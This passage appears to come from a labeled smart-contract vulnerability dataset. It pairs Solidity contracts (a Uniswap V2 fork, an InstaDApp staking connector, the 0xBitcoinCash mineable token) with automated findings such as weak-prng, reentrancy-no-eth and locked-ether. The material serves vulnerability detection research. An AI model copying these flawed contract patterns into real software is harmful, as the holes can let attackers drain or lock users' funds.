uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20Uniswap(token0).balanceOf(address(this));
uint balance1 = IERC20Uniswap(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
// migrating part
address migrator = IUniswapV2Factory(factory).migrator();
if (msg.sender == migrator) {
// cityswap
liquidity = IMigrator(migrator).desiredLiquidity();
require(liquidity > 0 && liquidity != uint256(-1), "Bad desired liquidity");
} else {
// uniswap V2
require(migrator == address(0), "Must not have migrator");
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
}
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
uint balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20Uniswap(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20Uniswap(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20Uniswap(token0).balanceOf(address(this)), IERC20Uniswap(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
contract UniswapV2Factory is IUniswapV2Factory {
address public override feeTo;
address public override feeToSetter;
address public override migrator;
mapping(address => mapping(address => address)) public override getPair;
address[] public override allPairs;
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
}
function allPairsLength() external override view returns (uint) {
return allPairs.length;
}
function pairCodeHash() external pure returns (bytes32) {
return keccak256(type(UniswapV2Pair).creationCode);
}
function createPair(address tokenA, address tokenB) external override returns (address pair) {
require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient
bytes memory bytecode = type(UniswapV2Pair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
IUniswapV2Pair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external override {
require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external override {
require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');
feeToSetter = _feeToSetter;
}
function setMigrator(address _migrator) external override {
require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');
migrator = _migrator;
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) reentrancy-no-eth with Medium impact
3) incorrect-equality with Medium impact |
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
interface TokenInterface {
function approve(address, uint256) external;
function transfer(address, uint) external;
function transferFrom(address, address, uint) external;
function deposit() external payable;
function withdraw(uint) external;
function balanceOf(address) external view returns (uint);
function decimals() external view returns (uint);
}
interface MemoryInterface {
function getUint(uint id) external returns (uint num);
function setUint(uint id, uint val) external;
}
interface EventInterface {
function emitEvent(uint connectorType, uint connectorID, bytes32 eventCode, bytes calldata eventData) external;
}
contract Stores {
/**
* @dev Return ethereum address
*/
function getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
/**
* @dev Return memory variable address
*/
function getMemoryAddr() internal pure returns (address) {
return 0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F; // InstaMemory Address
}
/**
* @dev Return InstaEvent Address.
*/
function getEventAddr() internal pure returns (address) {
return 0x2af7ea6Cb911035f3eb1ED895Cb6692C39ecbA97; // InstaEvent Address
}
/**
* @dev Get Uint value from InstaMemory Contract.
*/
function getUint(uint getId, uint val) internal returns (uint returnVal) {
returnVal = getId == 0 ? val : MemoryInterface(getMemoryAddr()).getUint(getId);
}
/**
* @dev Set Uint value in InstaMemory Contract.
*/
function setUint(uint setId, uint val) internal {
if (setId != 0) MemoryInterface(getMemoryAddr()).setUint(setId, val);
}
/**
* @dev emit event on event contract
*/
function emitEvent(bytes32 eventCode, bytes memory eventData) internal {
(uint model, uint id) = connectorID();
EventInterface(getEventAddr()).emitEvent(model, id, eventCode, eventData);
}
/**
* @dev Connector Details.
*/
function connectorID() public view returns(uint model, uint id) {
(model, id) = (1, 35);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract DSMath {
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function add(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(x, y);
}
function sub(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.sub(x, y);
}
function mul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.mul(x, y);
}
function div(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.div(x, y);
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, RAY), y / 2) / y;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, y), RAY / 2) / RAY;
}
}
interface IStakingRewards {
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function balanceOf(address) external view returns(uint);
}
interface SynthetixMapping {
struct StakingData {
address stakingPool;
address stakingToken;
address rewardToken;
}
function stakingMapping(bytes32) external view returns(StakingData memory);
}
contract StakingHelper is DSMath, Stores {
/**
* @dev Return InstaDApp Staking Mapping Addresses
*/
function getMappingAddr() internal pure returns (address) {
return 0x3CE6EE6c8a927630a45db4EE56666bEBe3575820; // InstaMapping Address
}
/**
* @dev Convert String to bytes32.
*/
function stringToBytes32(string memory str) internal pure returns (bytes32 result) {
require(bytes(str).length != 0, "string-empty");
// solium-disable-next-line security/no-inline-assembly
assembly {
result := mload(add(str, 32))
}
}
/**
* @dev Get staking data
*/
function getStakingData(string memory stakingName)
internal
view
returns (
IStakingRewards stakingContract,
TokenInterface stakingToken,
TokenInterface rewardToken,
bytes32 stakingType
)
{
stakingType = stringToBytes32(stakingName);
SynthetixMapping.StakingData memory stakingData = SynthetixMapping(getMappingAddr()).stakingMapping(stakingType);
require(stakingData.stakingPool != address(0) && stakingData.stakingToken != address(0), "Wrong Staking Name");
stakingContract = IStakingRewards(stakingData.stakingPool);
stakingToken = TokenInterface(stakingData.stakingToken);
rewardToken = TokenInterface(stakingData.rewardToken);
}
}
contract Staking is StakingHelper {
event LogDeposit(
address indexed stakingToken,
bytes32 indexed stakingType,
uint256 amount,
uint256 getId,
uint256 setId
);
event LogWithdraw(
address indexed stakingToken,
bytes32 indexed stakingType,
uint256 amount,
uint256 getId,
uint256 setId
);
event LogClaimedReward(
address indexed rewardToken,
bytes32 indexed stakingType,
uint256 rewardAmt,
uint256 setId
);
/**
* @dev Deposit Token.
* @param stakingPoolName staking token address.
* @param amt staking token amount.
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function deposit(
string calldata stakingPoolName,
uint amt,
uint getId,
uint setId
) external payable {
uint _amt = getUint(getId, amt);
(
IStakingRewards stakingContract,
TokenInterface stakingToken,
,
bytes32 stakingType
) = getStakingData(stakingPoolName);
_amt = _amt == uint(-1) ? stakingToken.balanceOf(address(this)) : _amt;
stakingToken.approve(address(stakingContract), _amt);
stakingContract.stake(_amt);
setUint(setId, _amt);
emit LogDeposit(address(stakingToken), stakingType, _amt, getId, setId);
bytes32 _eventCode = keccak256("LogDeposit(address,bytes32,uint256,uint256,uint256)");
bytes memory _eventParam = abi.encode(address(stakingToken), stakingType, _amt, getId, setId);
emitEvent(_eventCode, _eventParam);
}
/**
* @dev Withdraw Token.
* @param stakingPoolName staking token address.
* @param amt staking token amount.
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setIdAmount Set token amount at this ID in `InstaMemory` Contract.
* @param setIdReward Set reward amount at this ID in `InstaMemory` Contract.
*/
function withdraw(
string calldata stakingPoolName,
uint amt,
uint getId,
uint setIdAmount,
uint setIdReward
) external payable {
uint _amt = getUint(getId, amt);
(
IStakingRewards stakingContract,
TokenInterface stakingToken,
TokenInterface rewardToken,
bytes32 stakingType
) = getStakingData(stakingPoolName);
_amt = _amt == uint(-1) ? stakingContract.balanceOf(address(this)) : _amt;
uint intialBal = rewardToken.balanceOf(address(this));
stakingContract.withdraw(_amt);
stakingContract.getReward();
uint finalBal = rewardToken.balanceOf(address(this));
uint rewardAmt = sub(finalBal, intialBal);
setUint(setIdAmount, _amt);
setUint(setIdReward, rewardAmt);
emit LogWithdraw(address(stakingToken), stakingType, _amt, getId, setIdAmount);
bytes32 _eventCodeWithdraw = keccak256("LogWithdraw(address,bytes32,uint256,uint256,uint256)");
bytes memory _eventParamWithdraw = abi.encode(address(stakingToken), stakingType, _amt, getId, setIdAmount);
emitEvent(_eventCodeWithdraw, _eventParamWithdraw);
emit LogClaimedReward(address(rewardToken), stakingType, rewardAmt, setIdReward);
bytes32 _eventCodeReward = keccak256("LogClaimedReward(address,bytes32,uint256,uint256)");
bytes memory _eventParamReward = abi.encode(address(rewardToken), stakingType, rewardAmt, setIdReward);
emitEvent(_eventCodeReward, _eventParamReward);
}
/**
* @dev Claim Reward.
* @param stakingPoolName staking token address.
* @param setId Set reward amount at this ID in `InstaMemory` Contract.
*/
function claimReward(
string calldata stakingPoolName,
uint setId
) external payable {
(
IStakingRewards stakingContract,
,
TokenInterface rewardToken,
bytes32 stakingType
) = getStakingData(stakingPoolName);
uint intialBal = rewardToken.balanceOf(address(this));
stakingContract.getReward();
uint finalBal = rewardToken.balanceOf(address(this));
uint rewardAmt = sub(finalBal, intialBal);
setUint(setId, rewardAmt);
emit LogClaimedReward(address(rewardToken), stakingType, rewardAmt, setId);
bytes32 _eventCode = keccak256("LogClaimedReward(address,bytes32,uint256,uint256)");
bytes memory _eventParam = abi.encode(address(rewardToken), stakingType, rewardAmt, setId);
emitEvent(_eventCode, _eventParam);
}
}
contract ConnectStaking is Staking {
string public name = "Staking-v1.1";
} | These are the vulnerabilities found
1) erc20-interface with Medium impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// /$$$$$$ /$$$$$$$ /$$ /$$ /$$ /$$$$$$ /$$ /$$
// /$$$_ $$ | $$__ $$|__/ | $$ |__/ /$$__ $$ /$$$$$$ | $$
// | $$$$\ $$ /$$ /$$| $$ \ $$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$$$$$$ | $$ \__/ /$$$$$$ /$$__ $$| $$$$$$$
// | $$ $$ $$| $$ /$$/| $$$$$$$ | $$|_ $$_/ /$$_____/ /$$__ $$| $$| $$__ $$| $$ |____ $$| $$ \__/| $$__ $$
// | $$\ $$$$ \ $$$$/ | $$__ $$| $$ | $$ | $$ | $$ \ $$| $$| $$ \ $$| $$ /$$$$$$$| $$$$$$ | $$ \ $$
// | $$ \ $$$ >$$ $$ | $$ \ $$| $$ | $$ /$$| $$ | $$ | $$| $$| $$ | $$| $$ $$ /$$__ $$ \____ $$| $$ | $$
// | $$$$$$/ /$$/\ $$| $$$$$$$/| $$ | $$$$/| $$$$$$$| $$$$$$/| $$| $$ | $$| $$$$$$/| $$$$$$$ /$$ \ $$| $$ | $$
// \______/ |__/ \__/|_______/ |__/ \___/ \_______/ \______/ |__/|__/ |__/ \______/ \_______/| $$$$$$/|__/ |__/
// \_ $$_/
// \__/
// -----------------------------------------------------------------------------
// '0xBitcoinCash' contract
// Mineable ERC20 Token using Proof Of Work
// Website: https://0xbitcoincash.io
//
// Symbol : 0xBCH
// Name : 0xBitcoinCash
// Total supply: 21,000,000.00
// Decimals : 8
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract _0xBitcoinCash is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;//number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 1024;
//a little number
uint public _MINIMUM_TARGET = 2**16;
//a big number is easier ; just find a solution that is smaller
//uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function _0xBitcoinCash() public onlyOwner{
symbol = "0xBCH";
name = "0xBitcoinCash";
decimals = 8;
_totalSupply = 21000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 0;
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
//The owner gets nothing! You must mine this ERC20 token
//balances[owner] = _totalSupply;
//Transfer(address(0), owner, _totalSupply);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
//the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
//if max supply for the era will be exceeded next reward round then enter the new era before that happens
//40 is the final reward era, almost all tokens minted
//once the final era is reached, more tokens will not be given out because the assert function
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39)
{
rewardEra = rewardEra + 1;
}
//set the next minted supply at which the era will change
// total supply is 2100000000000000 because of 8 decimal places
maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1));
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
//make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks
//do this last since this is a protection mechanism in the mint() function
challengeNumber = block.blockhash(block.number - 1);
}
//https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F
//as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days
//readjust the target by 5 percent
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 360 ethereum blocks per hour
//we want miners to spend 10 minutes to mine each 'block', about 60 ethereum blocks = one 0xbitcoinCash epoch
uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256
uint targetEthBlocksPerDiffPeriod = epochsMined * 60; //should be 60 times slower than ethereum
//if there were less eth blocks passed in time than expected
if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod )
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod );
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
// If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100.
//make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod );
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
//make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
//21m coins total
//reward begins at 50 and is cut in half every reward era (as tokens are mined)
function getMiningReward() public constant returns (uint) {
//once we get half way thru the coins, only get 25 per block
//every reward era, the reward amount halves.
return (50 * 10**uint(decimals) ).div( 2**rewardEra ) ;
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
